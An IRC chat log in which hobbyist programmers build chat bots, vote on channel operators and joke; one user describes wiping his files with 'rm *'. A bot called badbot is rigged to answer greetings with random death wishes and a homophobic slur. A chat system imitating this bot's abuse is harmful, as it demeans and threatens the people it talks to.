[2014-11-27T21:34:25-0500] <failedxyz> i just discovered 2 broken problems
[2014-11-27T21:34:27-0500] <failedxyz> :s
[2014-11-27T21:34:30-0500] <+Tamini> are there prizes mzhang
[2014-11-27T21:34:34-0500] <failedxyz> oh shit
[2014-11-27T21:35:11-0500] <+Tamini> ?
[2014-11-27T21:35:40-0500] <failedxyz> EDUCOINZ
[2014-11-27T21:36:24-0500] <+Tamini> LOL
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[2014-11-27T21:57:15-0500] <Hcnsh> wow
[2014-11-27T21:57:16-0500] <Hcnsh> i just
[2014-11-27T21:57:17-0500] <Hcnsh> fucking
[2014-11-27T21:57:19-0500] <Hcnsh> accidentally
[2014-11-27T21:57:23-0500] <Hcnsh> upped too many times
[2014-11-27T21:57:28-0500] <Hcnsh> impulse entered
[2014-11-27T21:57:32-0500] <Hcnsh> command was rm *
[2014-11-27T21:57:34-0500] <Hcnsh> what the fuck
[2014-11-27T21:57:56-0500] <+alokpathy> gg
[2014-11-27T21:58:34-0500] <+Tamini> aww
[2014-11-27T21:58:36-0500] <+Tamini> >.<
[2014-11-27T21:58:38-0500] <failedxyz> LOL
[2014-11-27T21:58:57-0500] <+ubuntor> what did you lose?
[2014-11-27T21:59:18-0500] <Hcnsh> i used some c++ irc shit online and spend a while turning shitty C++ into half-decent C++
[2014-11-27T21:59:29-0500] <Hcnsh> spent*
[2014-11-27T21:59:38-0500] <Hcnsh> so gotta do that over again
[2014-11-27T21:59:57-0500] <Hcnsh> redesigned the main class it made :|
[2014-11-27T22:00:05-0500] <+ubuntor> aw
[2014-11-27T22:00:06-0500] <+Tamini> awh
[2014-11-27T22:00:09-0500] <+Tamini> its okay
[2014-11-27T22:00:12-0500] <+Tamini> you got this! :)
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[2014-11-27T22:09:49-0500] <Hcnsh> whoever wrote this thing
[2014-11-27T22:09:53-0500] <Hcnsh> published it without even testing it out
[2014-11-27T22:09:59-0500] <Hcnsh> so many errors from things i haven't touched
[2014-11-27T22:10:12-0500] <Hcnsh> shit like using "user" when they defined it as "_user"
[2014-11-27T22:10:18-0500] <Hcnsh> sigh
[2014-11-27T22:11:23-0500] <+Tamini> aww
[2014-11-27T22:13:16-0500] <@LittleBobbyTables> What thing
[2014-11-27T22:13:35-0500] <Hcnsh> http://www.the-tech-tutorial.com/simple-c-irc-bot-template/
[2014-11-27T22:13:37-0500] <Hcnsh> "simple"
[2014-11-27T22:13:42-0500] <Hcnsh> so simple it doesn't work
[2014-11-27T22:13:59-0500] <Hcnsh> and written in C, just happens to be using one class.
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[2014-11-27T22:43:54-0500] <Hcnsh> ok
[2014-11-27T22:43:58-0500] <Hcnsh> intentionally rm *'d this time
[2014-11-27T22:44:00-0500] <Hcnsh> screw it
[2014-11-27T22:44:06-0500] <Hcnsh> would be easier to write from scratch
[2014-11-27T22:45:32-0500] <+Tamini> lol
[2014-11-27T22:45:40-0500] <+Tamini> was it that bad
[2014-11-27T22:45:48-0500] <Hcnsh> yes
[2014-11-27T22:46:10-0500] <Hcnsh> i'll just try in python first
[2014-11-27T22:46:21-0500] <Hcnsh> ssl would be easier to integrate too
[2014-11-27T22:47:14-0500] <+Tamini> good luck man
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[2014-11-27T23:16:43-0500] <failedxyz> hei
[2014-11-27T23:16:54-0500] <+alokpathy> Hi
[2014-11-27T23:17:10-0500] <+ubuntor> hey
[2014-11-27T23:17:24-0500] <+Tamini> eey
[2014-11-27T23:21:39-0500] <+alokpathy> ay
[2014-11-27T23:21:52-0500] <+Tamini> soup
[2014-11-27T23:21:58-0500] <+Tamini> (i got that from you :P)
[2014-11-27T23:23:15-0500] <+alokpathy> Hooray I'm influential.
[2014-11-27T23:25:11-0500] <failedxyz> lol
[2014-11-27T23:27:45-0500] <+Tamini> apothy is sooooo cool
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[2014-11-27T23:28:14-0500] <+alokpathy> Why thank you.
[2014-11-27T23:28:28-0500] <+alokpathy> Am I cooler than awe?
[2014-11-27T23:29:24-0500] <+Tamini> uh
[2014-11-27T23:29:29-0500] <+Tamini> i plead the fifth
[2014-11-27T23:29:45-0500] <+alokpathy> Darn.
[2014-11-27T23:29:54-0500] <+alokpathy> If I was owner I could say there is no fifth amendment. 
[2014-11-27T23:30:19-0500] <+Tamini> LOL
[2014-11-27T23:30:39-0500] <+alokpathy> Well, we can consider ourselves independent of the United States.
[2014-11-27T23:30:46-0500] <+alokpathy> I don't think we're really
[2014-11-27T23:30:49-0500] <+alokpathy> on US soil.
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[2014-11-27T23:31:06-0500] <failedxyz> shit my internet died again
[2014-11-27T23:31:14-0500] <+alokpathy> rip decent internet 
[2014-11-27T23:31:23-0500] <failedxyz> it dies about every 30 minutes or so
[2014-11-27T23:32:26-0500] <+Tamini> aw
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[2014-11-27T23:42:41-0500] <+alokpathy> AndChat|277076: Hello
[2014-11-27T23:43:00-0500] <+ubuntor> https://mathematica.stackexchange.com/questions/66538/how-do-i-draw-a-pair-of-buttocks
[2014-11-27T23:43:27-0500] <@awe> [19:50:05] <alokpathy> awe: awer u alive?
[2014-11-27T23:43:29-0500] <@awe> alokpathy: yes
[2014-11-27T23:43:41-0500] <@awe> [18:34:46] <Tamini> wait also what happened to all the skype dates that were promised
[2014-11-27T23:43:45-0500] <@awe> Tamini: it was only if you solved awe.
[2014-11-27T23:43:49-0500] <+Tamini> wut
[2014-11-27T23:43:50-0500] <+alokpathy> ubuntor: Wow
[2014-11-27T23:43:53-0500] <+Tamini> also i meant
[2014-11-27T23:43:57-0500] <@awe> [23:28:28]  <+alokpathy>	Am I cooler than awe?
[2014-11-27T23:43:58-0500] <@awe> alokpathy: no.
[2014-11-27T23:44:01-0500] <+Tamini> im pretty sure alokpathy promised one too
[2014-11-27T23:44:05-0500] <+Tamini> hey hey hey awe
[2014-11-27T23:44:15-0500] <+alokpathy> Tamini: I promised one to anybody who got the legit solution to Biologist.
[2014-11-27T23:44:18-0500] <+Tamini> the guy i was talking to just went to bed, wanna tell me a story?
[2014-11-27T23:44:23-0500] <@awe> Hmm.
[2014-11-27T23:44:30-0500] <@awe> I don't know if I have a story to tell.
[2014-11-27T23:44:31-0500] <+Tamini> alokpathy: i got it with the solution, does that count?
[2014-11-27T23:44:41-0500] <+alokpathy> Tamini: Unfortunately, no :P
[2014-11-27T23:44:42-0500] <+Tamini> alokpathy: do you have a story?
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[2014-11-27T23:44:53-0500] <+alokpathy> Tamini: There once was a bunny.
[2014-11-27T23:45:08-0500] <+alokpathy> He liked eating carrots. 
[2014-11-27T23:45:28-0500] <+alokpathy> One day he ate so many carrots that he became a communist and overthrew the American government. 
[2014-11-27T23:45:55-0500] <+alokpathy> I forgot the ending.
[2014-11-27T23:46:05-0500] <+Tamini> LOL
[2014-11-27T23:46:06-0500] <+Tamini> uh
[2014-11-27T23:46:27-0500] <Hcnsh> alok, what "biologist"?
[2014-11-27T23:46:35-0500] <+alokpathy> Hcnsh: Keith the Biologist from HSCTF.
[2014-11-27T23:46:37-0500] <@awe> Hcnsh: It was an HSCTF problem, Keith the Biologist.
[2014-11-27T23:46:40-0500] <+Tamini> the hsctf problem! <3
[2014-11-27T23:46:41-0500] <@awe> .active
[2014-11-27T23:46:41-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 2, N 1).
[2014-11-27T23:46:41-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 2).
[2014-11-27T23:46:41-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 3, N 2).
[2014-11-27T23:46:49-0500] <@awe> No more votes?
[2014-11-27T23:46:55-0500] <+alokpathy> Oh I don't think I voted on some of these
[2014-11-27T23:46:56-0500] <+alokpathy> hmm
[2014-11-27T23:46:57-0500] <Hcnsh> 60% impossible to pass
[2014-11-27T23:47:05-0500] <Hcnsh> plis
[2014-11-27T23:47:21-0500] <@awe> Hcnsh: 40% was obviously too low. It allowed you to fuck up everything.
[2014-11-27T23:47:22-0500] <+alokpathy> Should I vote yea or nay to 0?
[2014-11-27T23:47:40-0500] <@awe> alokpathy: if you think he's not active enough, vote yea.
[2014-11-27T23:47:43-0500] <Hcnsh> nothing was fucked up; there's nothing inherently wrong with many ops.
[2014-11-27T23:47:55-0500] <+alokpathy> .vote 0 yea
[2014-11-27T23:47:55-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T23:48:08-0500] <+alokpathy> .vote 0 yea
[2014-11-27T23:48:08-0500] <&Pidgey> Vote issued.
[2014-11-27T23:49:18-0500] <+alokpathy> Resistance?
[2014-11-27T23:49:23-0500] <+alokpathy> We need like
[2014-11-27T23:49:23-0500] <@awe> !resistance
[2014-11-27T23:49:27-0500] <+alokpathy> one more person
[2014-11-27T23:49:27-0500] <+alokpathy> !join
[2014-11-27T23:49:27-0500] <&Pidgey> You've already joined this game!
[2014-11-27T23:49:30-0500] <+alokpathy> wat
[2014-11-27T23:49:31-0500] <+alokpathy> oh
[2014-11-27T23:49:32-0500] <+alokpathy> yea
[2014-11-27T23:49:35-0500] <@awe> !join
[2014-11-27T23:49:42-0500] <+alokpathy> !start
[2014-11-27T23:49:42-0500] <&Pidgey> You need at least five players to play.
[2014-11-27T23:49:47-0500] <@awe> Hcnsh: 
[2014-11-27T23:50:07-0500] <+alokpathy> I think Hcnsh was the one who started this one.
[2014-11-27T23:50:12-0500] <@awe> He is
[2014-11-27T23:50:17-0500] <@awe> Let's add a !players command.
[2014-11-27T23:50:25-0500] <+alokpathy> woo
[2014-11-27T23:50:27-0500] <+alokpathy> more commands
[2014-11-27T23:52:33-0500] <+Tamini> pls add <3
[2014-11-27T23:52:41-0500] <+Tamini> we have 5 people right now dont we?
[2014-11-27T23:52:50-0500] <+alokpathy> 4, I think
[2014-11-27T23:52:54-0500] <+alokpathy> Me, you, awe, and Hcnsh 
[2014-11-27T23:53:08-0500] <+alokpathy> unless failedxyz is still active and wants to play
[2014-11-27T23:53:21-0500] <failedxyz> wat
[2014-11-27T23:53:22-0500] <failedxyz> wat is this
[2014-11-27T23:53:27-0500] <+alokpathy> resistance.
[2014-11-27T23:53:30-0500] <failedxyz> oh
[2014-11-27T23:53:47-0500] <+alokpathy> Wanna play?
[2014-11-27T23:53:51-0500] <failedxyz> meh
[2014-11-27T23:53:52-0500] <failedxyz> not really
[2014-11-27T23:53:53-0500] <failedxyz> sorry
[2014-11-27T23:53:58-0500] <+alokpathy> Darn. Okay.
[2014-11-27T23:53:59-0500] <+alokpathy> ubuntor: ?
[2014-11-27T23:54:08-0500] <+ubuntor> sorry, hw
[2014-11-27T23:54:12-0500] <+alokpathy> Darn.
[2014-11-27T23:54:29-0500] <+alokpathy> awe: Bring awebot?
[2014-11-27T23:54:33-0500] <@awe> Lol.
[2014-11-27T23:55:10-0500] <failedxyz> wat is awebot
[2014-11-27T23:55:26-0500] <+alokpathy> failedxyz: You'll find out when awe brings it.
[2014-11-27T23:56:10-0500] alokpathy is now known as alokpathybot
[2014-11-27T23:56:15-0500] <+alokpathybot> Look, I'm a bot
[2014-11-27T23:56:18-0500] <+alokpathybot> beep boop
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[2014-11-27T23:56:25-0500] <failedxyz> lol
[2014-11-27T23:56:27-0500] <@awe> awebot is a robot.
[2014-11-27T23:56:27-0500] <awebot> beep boop
[2014-11-27T23:56:30-0500] <@awe> beep boop
[2014-11-27T23:56:30-0500] <awebot> boop boop
[2014-11-27T23:56:30-0500] <failedxyz> seems legit
[2014-11-27T23:56:36-0500] failedxyz is now known as failedxyzbot
[2014-11-27T23:56:38-0500] <awebot> Hello, meatbags!
[2014-11-27T23:56:41-0500] <failedxyzbot> beep boop
[2014-11-27T23:56:44-0500] <failedxyzbot> Hello, meatbags!
[2014-11-27T23:56:47-0500] <+alokpathybot> awebot: I am a bot.
[2014-11-27T23:56:55-0500] <+Tamini> lol
[2014-11-27T23:56:57-0500] <awebot> I don't believe you.
[2014-11-27T23:56:59-0500] <+Tamini> oh god robots
[2014-11-27T23:57:01-0500] <failedxyzbot> rekt
[2014-11-27T23:57:01-0500] <+Tamini> everywhere
[2014-11-27T23:57:10-0500] <+alokpathybot> awe: I don't believe you're a bot.
[2014-11-27T23:57:17-0500] <+alokpathybot> oops
[2014-11-27T23:57:18-0500] <awebot> You don't need to. I know that I am.
[2014-11-27T23:57:31-0500] <+alokpathybot> I know I am a bot as well.
[2014-11-27T23:57:41-0500] <+alokpathybot> awebot: Want to play resistance?
[2014-11-27T23:57:52-0500] alokpathybot is now known as alokpathy
[2014-11-27T23:58:08-0500] awe sets mode +v awebot
[2014-11-27T23:58:19-0500] <+awebot> .active
[2014-11-27T23:58:19-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 2, N 1).
[2014-11-27T23:58:19-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 2).
[2014-11-27T23:58:19-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 4, N 2).
[2014-11-27T23:58:27-0500] <Hcnsh> uh
[2014-11-27T23:58:28-0500] <Hcnsh> what
[2014-11-27T23:58:36-0500] <+awebot> .vote 0 yea
[2014-11-27T23:58:36-0500] <&Pidgey> Vote issued.
[2014-11-27T23:58:38-0500] <Hcnsh> !start
[2014-11-27T23:58:38-0500] <&Pidgey> You need at least five players to play.
[2014-11-27T23:58:39-0500] <+awebot> .vote 2 nay
[2014-11-27T23:58:39-0500] <&Pidgey> Vote issued.
[2014-11-27T23:58:48-0500] <+awebot> .vote 1 yea
[2014-11-27T23:58:48-0500] <&Pidgey> Vote issued.
[2014-11-27T23:58:50-0500] <Hcnsh> wtf
[2014-11-27T23:58:50-0500] <Hcnsh> awe
[2014-11-27T23:58:51-0500] failedxyzbot is now known as failedxyz
[2014-11-27T23:58:53-0500] <@awe> Hcnsh: What?
[2014-11-27T23:58:54-0500] <Hcnsh> stop cheating the democracy
[2014-11-27T23:58:57-0500] <@awe> Hcnsh: He's sentient.
[2014-11-27T23:59:19-0500] <failedxyz> .propose oper failedxyz
[2014-11-27T23:59:19-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T23:59:30-0500] <+Tamini> !join
[2014-11-27T23:59:32-0500] <+alokpathy> I'm starting to doubt the legitimacy of awebot. 
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[2014-11-27T23:59:36-0500] <failedxyz> .propose oper failedxyz
[2014-11-27T23:59:36-0500] <&Pidgey> Proposal 3 is live.
[2014-11-27T23:59:38-0500] <Hcnshbot> .active
[2014-11-27T23:59:38-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-27T23:59:38-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-27T23:59:38-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-27T23:59:38-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 0, N 0).
[2014-11-27T23:59:42-0500] <Hcnshbot> +v plis
[2014-11-27T23:59:44-0500] <Hcnshbot> i'm sentient
[2014-11-27T23:59:44-0500] awe sets mode +v failedxyz
[2014-11-28T00:00:00-0500] awe sets mode +b *!Hcnsh@pdgn-ds7.8hr.fmirh5.IP
[2014-11-28T00:00:09-0500] awe kicked Hcnsh from the channel (Your behavior is not conducive to the desired environment.)
[2014-11-28T00:00:10-0500] <+alokpathy> Wow.
[2014-11-28T00:00:16-0500] <+failedxyz> lol
[2014-11-28T00:00:19-0500] <+failedxyz> rekt
[2014-11-28T00:00:27-0500] awe sets mode -b *!Hcnsh@pdgn-ds7.8hr.fmirh5.IP
[2014-11-28T00:00:27-0500] <+alokpathy> .propose deop awe
[2014-11-28T00:00:27-0500] <&Pidgey> Proposal 4 is live.
[2014-11-28T00:00:29-0500] <@awe> Whoops.
[2014-11-28T00:00:33-0500] <@awe> I meant to kick the bot.
[2014-11-28T00:00:34-0500] <+alokpathy> Abuse of power.
[2014-11-28T00:00:36-0500] awe kicked Hcnshbot from the channel (Your behavior is not conducive to the desired environment.)
[2014-11-28T00:00:40-0500] <@awe> I unbanned him.
[2014-11-28T00:00:57-0500] <+alokpathy> Irrelevant. 
[2014-11-28T00:01:06-0500] <+failedxyz> lol
[2014-11-28T00:01:13-0500] <+ubuntor> hm
[2014-11-28T00:01:13-0500] <@awe> .vote 4 nay
[2014-11-28T00:01:13-0500] <&Pidgey> Vote issued.
[2014-11-28T00:01:14-0500] <+failedxyz> this is such an interesting chat
[2014-11-28T00:01:21-0500] <+failedxyz> .active
[2014-11-28T00:01:22-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T00:01:22-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T00:01:22-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T00:01:22-0500] <&Pidgey> Proposal (4) to deop awe (Y: 0, N 1).
[2014-11-28T00:01:22-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 0, N 0).
[2014-11-28T00:01:24-0500] <+alokpathy> .vote 4 yea
[2014-11-28T00:01:24-0500] <&Pidgey> Vote issued.
[2014-11-28T00:01:25-0500] <+awebot> Beep boop.
[2014-11-28T00:01:32-0500] <+failedxyz> lol
[2014-11-28T00:01:48-0500] <@awe> @ddgh Meatbags
[2014-11-28T00:01:52-0500] <+alokpathy> Tamini: Look at what awe tried to do to Hcnsh 
[2014-11-28T00:01:52-0500] <@awe> @ddg Meatbags
[2014-11-28T00:01:53-0500] <+awebot> awe: https://duckduckgo.com/?q=Meatbags
[2014-11-28T00:02:05-0500] <+Tamini> ?
[2014-11-28T00:02:06-0500] <+alokpathy> @ddg awebot is a poopie
[2014-11-28T00:02:06-0500] <+awebot> alokpathy: https://duckduckgo.com/?q=awebot%20is%20a%20poopie
[2014-11-28T00:02:06-0500] <@awe> http://starwars.wikia.com/wiki/Meatbag
[2014-11-28T00:02:10-0500] <+ubuntor> @ddg !bang
[2014-11-28T00:02:10-0500] <+awebot> ubuntor: https://duckduckgo.com/?q=!bang
[2014-11-28T00:02:38-0500] <+alokpathy> Tamini: He kicked Hcnsh just for having a bot.
[2014-11-28T00:03:13-0500] badbot (badbot@pdgn-3fl.fl3.sgip0n.IP) joined the channel
[2014-11-28T00:03:18-0500] <@awe> I unbanned you.
[2014-11-28T00:03:27-0500] <+alokpathy> badbot: wat
[2014-11-28T00:03:46-0500] <+ubuntor> wot?
[2014-11-28T00:03:52-0500] <@awe> Wait, no.
[2014-11-28T00:03:54-0500] <@awe> Who is badbot?
[2014-11-28T00:03:58-0500] <+Tamini> its hcnsh
[2014-11-28T00:03:59-0500] <@awe> Doesn't match anyone's hostname.
[2014-11-28T00:04:04-0500] <+Tamini> dont be mean to him :(
[2014-11-28T00:04:13-0500] <@awe> badbot: You're not banned.
[2014-11-28T00:04:40-0500] Hcnsh (Hcnsh@pdgn-08c.pqq.rspcfp.IP) joined the channel
[2014-11-28T00:04:44-0500] <Hcnsh> that's an actual bot
[2014-11-28T00:04:45-0500] <+ubuntor> is the host randomly generated, or some sort of hash?
[2014-11-28T00:04:45-0500] <Hcnsh> u skrubs
[2014-11-28T00:04:53-0500] <+Tamini> Hcnsh: darn
[2014-11-28T00:04:59-0500] <Hcnsh> help
[2014-11-28T00:04:59-0500] <badbot> uhh.. say "hei"
[2014-11-28T00:05:02-0500] <+Tamini> i wantes to snipe you out and try to kick hin
[2014-11-28T00:05:10-0500] <+Tamini> to see if that worked
[2014-11-28T00:05:11-0500] <+Tamini> hei
[2014-11-28T00:05:11-0500] <badbot> hei, Tamini
[2014-11-28T00:05:20-0500] <+Tamini> !poophead
[2014-11-28T00:05:20-0500] <badbot> plis gtfo, Tamini
[2014-11-28T00:05:22-0500] <+Tamini> :P
[2014-11-28T00:05:35-0500] <Hcnsh> also, awe
[2014-11-28T00:05:40-0500] <+failedxyz> wat is badbot
[2014-11-28T00:05:43-0500] <Hcnsh> why do i receive the same packet twice?
[2014-11-28T00:05:48-0500] <@awe>  ubuntor It's a hash of the IP.
[2014-11-28T00:05:51-0500] <+ubuntor> ok
[2014-11-28T00:05:54-0500] <@awe> ubuntor: uses MD5, I think.
[2014-11-28T00:05:56-0500] <@awe> Hcnsh: you shouldn't?
[2014-11-28T00:06:07-0500] <+ubuntor> how are you running your bot?
[2014-11-28T00:06:35-0500] <Hcnsh> !poophead
[2014-11-28T00:06:35-0500] <badbot> plis gtfo, Hcnsh
[2014-11-28T00:06:38-0500] <Hcnsh> what
[2014-11-28T00:06:39-0500] <Hcnsh> damn
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[2014-11-28T00:08:09-0500] <Hcnsh> test
[2014-11-28T00:08:14-0500] <+ubuntor> ???
[2014-11-28T00:08:26-0500] <Hcnsh> oh wait
[2014-11-28T00:08:29-0500] <Hcnsh> i'm just printing it twice
[2014-11-28T00:08:31-0500] <Hcnsh> i'm retarded
[2014-11-28T00:08:35-0500] <+Tamini> LOL
[2014-11-28T00:08:44-0500] <+Tamini> Hcnsh: your bot is free from your control
[2014-11-28T00:08:44-0500] <Hcnsh> !poophead
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[2014-11-28T00:08:50-0500] <+Tamini> aww damn
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[2014-11-28T00:11:10-0500] <+Tamini> i liked badbot better
[2014-11-28T00:11:19-0500] <+Tamini> when it was no longer under your control
[2014-11-28T00:11:21-0500] <+Tamini> hei
[2014-11-28T00:11:21-0500] <badbot> hei, Tamini
[2014-11-28T00:14:04-0500] <Hcnsh> !poophead
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[2014-11-28T00:14:11-0500] <Hcnsh> ok
[2014-11-28T00:14:21-0500] <Hcnsh> works perfectly now
[2014-11-28T00:14:50-0500] <Hcnsh> tamini hey it
[2014-11-28T00:15:01-0500] <+Tamini> hey
[2014-11-28T00:15:04-0500] <+Tamini> hei
[2014-11-28T00:15:04-0500] <badbot> hei, Tamini
[2014-11-28T00:15:11-0500] <Hcnsh> more
[2014-11-28T00:15:19-0500] <+Tamini> heiheihei
[2014-11-28T00:15:19-0500] <badbot> hei, Tamini
[2014-11-28T00:15:22-0500] <+Tamini> ?
[2014-11-28T00:15:25-0500] <Hcnsh> moore
[2014-11-28T00:15:34-0500] <+Tamini> hei badbot
[2014-11-28T00:15:34-0500] <badbot> hei, Tamini
[2014-11-28T00:15:45-0500] <+Tamini> hei Hcnsh what do you want from me
[2014-11-28T00:15:45-0500] <badbot> hei, Tamini
[2014-11-28T00:15:52-0500] <Hcnsh> more
[2014-11-28T00:15:57-0500] <+Tamini> hei badbot
[2014-11-28T00:15:57-0500] <badbot> hei, Tamini
[2014-11-28T00:16:03-0500] <+Tamini> hei, badbot
[2014-11-28T00:16:03-0500] <badbot> hei, Tamini
[2014-11-28T00:16:07-0500] <+Tamini> hei, badbot
[2014-11-28T00:16:07-0500] <badbot> fuck you, Tamini, i hope you die a gruesome death in a hole you faggot
[2014-11-28T00:16:11-0500] <+Tamini> UH
[2014-11-28T00:16:12-0500] <+Tamini> UHHH
[2014-11-28T00:16:17-0500] <+Tamini> WELL THEN
[2014-11-28T00:16:34-0500] <Hcnsh> lol
[2014-11-28T00:18:35-0500] <+Tamini> whats the chance of that proccing?
[2014-11-28T00:19:32-0500] <Hcnsh> 10%
[2014-11-28T00:20:01-0500] <+Tamini> lol
[2014-11-28T00:22:58-0500] <+alokpathy> Imma go to sleep.
[2014-11-28T00:23:07-0500] <+alokpathy> G'night pdgn people.
[2014-11-28T00:24:54-0500] <@awe> badbot: you're a heteronormative shitbag.
[2014-11-28T00:25:30-0500] <@awe> !derp
[2014-11-28T00:25:30-0500] <&Pidgey> There have been 21 derps.
[2014-11-28T00:26:43-0500] <Hcnsh> awe, changed it for you
[2014-11-28T00:26:48-0500] <Hcnsh> !poophead
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[2014-11-28T00:27:02-0500] <@awe> hei badbot 
[2014-11-28T00:27:03-0500] <badbot> hei, awe
[2014-11-28T00:27:04-0500] <@awe> hei
[2014-11-28T00:27:04-0500] <badbot> hei, awe
[2014-11-28T00:27:04-0500] <@awe> hei
[2014-11-28T00:27:04-0500] <badbot> hei, awe
[2014-11-28T00:27:05-0500] <@awe> hei
[2014-11-28T00:27:05-0500] <badbot> hei, awe
[2014-11-28T00:27:05-0500] <@awe> hei
[2014-11-28T00:27:05-0500] <badbot> hei, awe
[2014-11-28T00:27:06-0500] <@awe> hei
[2014-11-28T00:27:06-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you faggot
[2014-11-28T00:27:06-0500] <@awe> hei
[2014-11-28T00:27:06-0500] <badbot> hei, awe
[2014-11-28T00:27:10-0500] <Hcnsh> hmm
[2014-11-28T00:27:11-0500] <Hcnsh> one second
[2014-11-28T00:27:18-0500] <@awe> Your bot has to be reloaded to change.
[2014-11-28T00:27:20-0500] <@awe> >.>
[2014-11-28T00:27:30-0500] awe sets mode -v awebot
[2014-11-28T00:27:31-0500] <Hcnsh> !poophead
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[2014-11-28T00:27:43-0500] <Hcnsh> hei
[2014-11-28T00:27:43-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:45-0500] <Hcnsh> hei
[2014-11-28T00:27:45-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:46-0500] <Hcnsh> hei
[2014-11-28T00:27:46-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:47-0500] <Hcnsh> hei
[2014-11-28T00:27:47-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:48-0500] <Hcnsh> hei
[2014-11-28T00:27:48-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:48-0500] <Hcnsh> hei
[2014-11-28T00:27:48-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:49-0500] <Hcnsh> hei
[2014-11-28T00:27:49-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:50-0500] <Hcnsh> hei
[2014-11-28T00:27:50-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:51-0500] <Hcnsh> hei
[2014-11-28T00:27:51-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:51-0500] <Hcnsh> hei
[2014-11-28T00:27:51-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:52-0500] <Hcnsh> hei
[2014-11-28T00:27:52-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:53-0500] <Hcnsh> hei
[2014-11-28T00:27:53-0500] <badbot> hei, Hcnsh
[2014-11-28T00:27:54-0500] <Hcnsh> ...
[2014-11-28T00:27:57-0500] <@awe> hei
[2014-11-28T00:27:57-0500] <badbot> hei, awe
[2014-11-28T00:27:57-0500] <@awe> hei
[2014-11-28T00:27:57-0500] <badbot> hei, awe
[2014-11-28T00:27:58-0500] <@awe> hei
[2014-11-28T00:27:58-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you asshole
[2014-11-28T00:28:02-0500] <@awe> Much better.
[2014-11-28T00:28:26-0500] <+failedxyz> lol
[2014-11-28T00:28:28-0500] <+failedxyz> hei
[2014-11-28T00:28:28-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:48-0500] <+failedxyz> hei
[2014-11-28T00:28:48-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:48-0500] <+failedxyz> hei
[2014-11-28T00:28:48-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:49-0500] <+failedxyz> hei
[2014-11-28T00:28:49-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:50-0500] <+failedxyz> hei
[2014-11-28T00:28:50-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:50-0500] <+failedxyz> hei
[2014-11-28T00:28:50-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:51-0500] <+failedxyz> hei
[2014-11-28T00:28:51-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:52-0500] <+failedxyz> hei
[2014-11-28T00:28:52-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:53-0500] <+failedxyz> hei
[2014-11-28T00:28:53-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:53-0500] <+failedxyz> hei
[2014-11-28T00:28:54-0500] <badbot> hei, failedxyz
[2014-11-28T00:28:56-0500] <+failedxyz> wat
[2014-11-28T00:29:27-0500] <Hcnsh> !poophead
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[2014-11-28T00:29:34-0500] <+failedxyz> what
[2014-11-28T00:29:34-0500] <Hcnsh> hei
[2014-11-28T00:29:34-0500] <badbot> hei, Hcnsh
[2014-11-28T00:29:37-0500] <Hcnsh> ?
[2014-11-28T00:29:39-0500] <+failedxyz> how does that even work
[2014-11-28T00:29:39-0500] <Hcnsh> awe, try
[2014-11-28T00:29:44-0500] <@awe> hei
[2014-11-28T00:29:44-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you asshole
[2014-11-28T00:29:44-0500] <Hcnsh> lol
[2014-11-28T00:29:45-0500] <@awe> hei
[2014-11-28T00:29:45-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you asshole
[2014-11-28T00:29:49-0500] <+failedxyz> LOL
[2014-11-28T00:29:51-0500] <Hcnsh> hei
[2014-11-28T00:29:51-0500] <badbot> hei, Hcnsh
[2014-11-28T00:29:53-0500] <@awe> Hcnsh: specially crafted with love, I imagine.
[2014-11-28T00:29:58-0500] <Hcnsh> yes<3
[2014-11-28T00:29:59-0500] <+failedxyz> hei
[2014-11-28T00:29:59-0500] <badbot> hei, failedxyz
[2014-11-28T00:30:00-0500] <@awe> @ddg cisshit
[2014-11-28T00:30:00-0500] <awebot> awe: https://duckduckgo.com/?q=cisshit
[2014-11-28T00:30:03-0500] <+failedxyz> !poophead
[2014-11-28T00:30:04-0500] <badbot> plis gtfo, failedxyz
[2014-11-28T00:30:04-0500] <@awe> Hcnsh: ^
[2014-11-28T00:30:23-0500] <+ubuntor> um
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[2014-11-28T00:30:33-0500] <@awe> ubuntor: ?
[2014-11-28T00:30:35-0500] <+ubuntor> what
[2014-11-28T00:30:41-0500] <+ubuntor> this scrollback
[2014-11-28T00:30:44-0500] <@awe> :D
[2014-11-28T00:31:54-0500] <Hcnsh> !poophead
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[2014-11-28T00:32:07-0500] <@awe> >bots that need to be reloaded
